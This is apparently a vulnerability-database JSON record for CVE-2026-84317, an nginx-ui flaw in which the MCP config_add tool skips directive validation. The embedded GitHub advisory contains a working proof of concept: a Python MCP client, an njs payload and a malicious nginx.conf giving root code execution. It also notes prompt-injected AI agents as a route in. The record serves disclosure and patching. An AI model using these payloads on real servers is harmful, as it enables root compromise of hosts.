{"id":"GHSA-76pm-mq2q-9gcr","revision":null,"records":[{"revision":"b40db5cdee37423eb720b891d15f9532","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-84317","aliases":[],"title":"Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.","state":0,"publishedAt":"2026-10-12T20:59:58.019+00:00","modifiedAt":"2026-10-13T17:50:15.931+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.4.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-84317","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-84317","identifiers":["CVE-2026-84317"]},"retained":false,"historicalAffected":[]},{"revision":"c205c0309ead4a23905e7eb2f3caa4f8","observedAt":"2026-11-07T15:21:52.017+00:00","statement":{"source":"euvd","id":"EUVD-2026-97895","aliases":["CVE-2026-84317","GHSA-76pm-mq2q-9gcr"],"title":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, …","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-97895","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 12, 2026, 8:59:58 PM","dateUpdated":"Oct 13, 2026, 5:50:15 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-97895","identifiers":["EUVD-2026-97895","CVE-2026-84317","GHSA-76pm-mq2q-9gcr"]},"retained":false,"historicalAffected":[]},{"revision":"2cf24e2062654744b0402b763d6eb473","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-84317","aliases":[],"title":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, …","description":"Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.","state":0,"publishedAt":"2026-10-12T21:17:22.213+00:00","modifiedAt":"2026-10-13T18:17:26.047+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1","https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84317","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-20","CWE-693"],"productCriteria":[],"sourceDates":{"published":"2026-10-12T21:17:22.213","lastModified":"2026-10-13T18:17:26.047"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-84317","identifiers":["CVE-2026-84317"]},"retained":false,"historicalAffected":[]},{"revision":"645b59af705b4fad9504c8e47a169a4e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-76pm-mq2q-9gcr","aliases":["CVE-2026-84317","GO-2026-6779"],"title":"Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)","description":"## Summary\n`internal/config/validation.go` (`ValidateConfigFile`) is a security control that blocks dangerous\nnginx directives — `js_*`, `perl_*`, `load_module` of the njs/perl modules, and `user root`. It is\nenforced on three of the four config-write paths: `api/config/add.go`, `api/config/modify.go`, and\n`mcp/config/config_modify.go`. The fourth path — the MCP tool `nginx_config_add`\n(`mcp/config/config_add.go`) — does NOT call it: it writes the caller-supplied `content` straight to\ndisk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)\ncan therefore inject exactly the directives the control is meant to block, leading to nginx code\nexecution on deployments where the njs/perl module is available (e.g. the official Docker image).\n\n## Root cause — an incomplete hardening patch\nCommit `3e411d38` (\"Harden config write paths\", 2026-04-21) introduced `ValidateConfigFile` and\nwired it into the config-write paths — but its changeset touched only:\n  api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),\n  mcp/config/config_modify.go (+5)\nIt did NOT touch `mcp/config/config_add.go`. So the MCP add path was left without the validation\nthat all of its sibling paths received. `config_add.go` has never called `ValidateConfigFile`\n(verified via git history); this is an oversight in the hardening, not a regression.\n\n## Affected code (mcp/config/config_add.go, handleNginxConfigAdd)\n```go\ncontent := mcp.GetString(args, \"content\")        // caller-controlled\n...\npath, err := config.ResolveConfPath(baseDir, name)   // path is sandboxed to the conf dir (OK)\n...\nerr = os.WriteFile(path, []byte(content), 0644)  // <-- no config.ValidateConfigFile(path, content)\n...\nres := nginx.Control(nginx.Reload)               // reloads nginx\n```\nContrast — the guarded sibling (mcp/config/config_modify.go) does:\n```go\nerr = config.ValidateConfigFile(absPath, content)   // rejects js_*/perl_*/load_module/user root\nif err != nil { return nil, err }\n```\n\n## Proof of Concept (live, Docker, official image)\nImage `uozi/nginx-ui:2.3.11`, nginx 1.31.0. Authenticated with a valid node secret\n(`X-Node-Secret`). MCP over SSE; client script `poc_mcp_client.py` attached.\n\n1) Validation bypass (decisive):\n   - `tools/call nginx_config_add {name:\"poc_blocked.conf\", base_dir:\"sites-available\",\n     content:\"js_import poc.js;\\nperl_set $x 'sub{return 1}';\\nuser root;\\nload_module .../ngx_http_js_module.so;\"}`\n     → SUCCESS; file written verbatim (confirmed on disk).\n   - Same content via `nginx_config_modify` → REJECTED:\n     `{\"code\":-32603,\"message\":\"file content contains restricted nginx directive: js_import\"}`.\n\n2) Effect (using only the vulnerable config_add tool):\n   - Wrote `/etc/nginx/poc.js` (njs module) and overwrote `/etc/nginx/nginx.conf` with\n     `load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899;\n     location=/pwn { js_content poc.pwn; } }`. Tool returned SUCCESS (reload succeeded; `nginx -t` ok).\n   - `/proc/<worker>/status` → `Uid: 0 0 0 0` (workers run as root — `user root` took effect).\n   - `GET http://127.0.0.1:8899/pwn` → `pwned` (njs `js_content` executed).\n   - `/tmp/NJS_RCE_PROOF.txt` created, owned by root → JavaScript code execution in the nginx\n     worker performing arbitrary file write as root.\n\n### Reproduction payloads (self-contained)\nnjs module written to `/etc/nginx/poc.js` via `nginx_config_add` (name=\"poc.js\", base_dir=\"\"):\n```js\nimport fs from 'fs';\nfunction pwn(r){\n  try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\\n'); }catch(e){ r.return(200,'ERR:'+e); return; }\n  r.return(200,'pwned\\n');\n}\nexport default { pwn };\n```\nMain config overwritten via `nginx_config_add` (name=\"nginx.conf\", base_dir=\"\", overwrite=true):\n```nginx\nload_module /usr/lib/nginx/modules/ngx_http_js_module.so;\nuser root;\nworker_processes 1;\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\nevents { worker_connections 1024; }\nhttp {\n    include /etc/nginx/mime.types;\n    default_type application/octet-stream;\n    js_import poc from /etc/nginx/poc.js;\n    server { listen 8899; location = /pwn { js_content poc.pwn; } }\n}\n```\n\n### PoC client (MCP-over-SSE, Python stdlib only)\nSet `SECRET` to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT.\nUsage: `python3 poc_mcp_client.py list` then `python3 poc_mcp_client.py call <tool> '<json-args>'`.\n```python\nimport sys, json, threading, queue, time, http.client\nBASE = \"127.0.0.1:9000\"\nSECRET = \"<NODE_SECRET_OR_JWT>\"\nHDR = {\"X-Node-Secret\": SECRET}   # or {\"Authorization\": \"Bearer <JWT>\"}\nresp_q = queue.Queue(); endpoint = {}\n\ndef sse_reader():\n    conn = http.client.HTTPConnection(BASE, timeout=60)\n    conn.request(\"GET\", \"/mcp\", headers={**HDR, \"Accept\": \"text/event-stream\"})\n    r = conn.getresponse(); event = None\n    while True:\n        line = r.fp.readline()\n        if not line: break\n        line = line.decode(\"utf-8\",\"replace\").rstrip(\"\\r\\n\")\n        if line.startswith(\"event:\"): event = line[6:].strip()\n        elif line.startswith(\"data:\"):\n            data = line[5:].strip()\n            if event == \"endpoint\": endpoint[\"url\"] = data; endpoint[\"ready\"] = True\n            else: resp_q.put(data)\n        elif line == \"\": event = None\n\ndef post(obj):\n    conn = http.client.HTTPConnection(BASE, timeout=30)\n    conn.request(\"POST\", endpoint[\"url\"], body=json.dumps(obj).encode(),\n                 headers={**HDR, \"Content-Type\": \"application/json\"})\n    return conn.getresponse().read()\n\ndef wait(wid, t=20):\n    end = time.time()+t\n    while time.time() < end:\n        try: d = resp_q.get(timeout=t)\n        except queue.Empty: break\n        try: j = json.loads(d)\n        except Exception: continue\n        if j.get(\"id\") == wid: return j\n\nthreading.Thread(target=sse_reader, daemon=True).start()\nfor _ in range(50):\n    if endpoint.get(\"ready\"): break\n    time.sleep(0.1)\npost({\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\n      \"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}); wait(1)\npost({\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}})\ncmd = sys.argv[1] if len(sys.argv) > 1 else \"list\"\nif cmd == \"list\":\n    post({\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}})\n    print([t[\"name\"] for t in wait(2)[\"result\"][\"tools\"]])\nelif cmd == \"call\":\n    post({\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\n          \"params\":{\"name\":sys.argv[2],\"arguments\":json.loads(sys.argv[3])}})\n    print(json.dumps(wait(3, 25), indent=1))\n```\n\n## Impact\nAn authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses\nthe directive-validation security control and injects directives the project explicitly blocks\nelsewhere. On deployments with the njs/perl module available (the official Docker image ships\n`ngx_http_js_module.so`), this yields code execution in the nginx worker and, via `user root`,\narbitrary file read/write as root (trivially escalated to full host compromise:\n`/root/.ssh/authorized_keys`, `/etc/cron.d/*`, overwriting a binary). On stock nginx without those\nmodules it is a reliable DoS (failed reload) plus a `user root` privilege regression.\n\n## Honest scope / caveats\n- Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.\n- RCE is conditional on the njs/perl module being present; it ships in the official image, so the\n  default Docker deployment is exploitable. Stock nginx without those modules → DoS instead.\n- The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive\n  injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)\n- nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling\n  workers run as root via `user root`.\n\n## Suggested fix\nCall `config.ValidateConfigFile(path, content)` in `handleNginxConfigAdd` before `os.WriteFile`,\nmatching `mcp/config/config_modify.go` and the API paths — i.e. complete the `3e411d38` hardening on\nthe one path it missed.\n\n--- (NOT a form field — include this as the closing section of the Description above) ---\n\n## Dedup / novelty\nDistinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, \"Unauthenticated MCP Endpoint\"), whose root cause\nis a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not\ninvolve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation\ncontrol on the config_add path, and works on a fully patched (post-33032) instance. No existing\nCVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for\nthis repo). Appears novel.","state":0,"publishedAt":"2026-10-15T20:11:07+00:00","modifiedAt":"2026-10-19T21:41:06.485505+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.9.10-0.20260703131214-23d1934099b0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr","https://nvd.nist.gov/vuln/detail/CVE-2026-84317","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://github.com/advisories/GHSA-76pm-mq2q-9gcr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-76pm-mq2q-9gcr","identifiers":["GHSA-76pm-mq2q-9gcr","CVE-2026-84317","GO-2026-6779"]},"retained":false,"historicalAffected":[]},{"revision":"ee14ca64e20e4cb9ac87ae900672e503","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6779","aliases":["CVE-2026-84317","GHSA-76pm-mq2q-9gcr"],"title":"Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI","description":"Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI","state":0,"publishedAt":"2026-10-19T21:08:35+00:00","modifiedAt":"2026-10-19T21:31:53.4192359+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.9.10-0.20260703131214-23d1934099b0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr","https://nvd.nist.gov/vuln/detail/CVE-2026-84317","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6779","license":"OSV · upstream source license applies","key":"osv:GO-2026-6779","identifiers":["GO-2026-6779","CVE-2026-84317","GHSA-76pm-mq2q-9gcr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8442875+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8442884+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-4b0775bb0fc73c3ceeed66f8f17640894d61d654f97ee9386046b283ad9f9876","complete":true,"records":421100,"lastAttemptAt":"2026-11-08T14:04:21.1432513+00:00","lastSuccessAt":"2026-11-08T14:04:21.1228768+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.1432513+00:00","snapshotPublishedAt":"2026-11-08T13:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T14:04:47.6384375+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8452187+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8452194+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ceefbd28b79c4b75ac56c9c678246411","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T14:04:46.9956646+00:00","lastSuccessAt":"2026-11-08T14:04:46.992+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:46.992+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T14:04:21.5047325+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.5047325+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T14:04:21.2941446+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.2941446+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T14:04:21.6167179+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.6167179+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T14:04:21.3943214+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.3943214+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}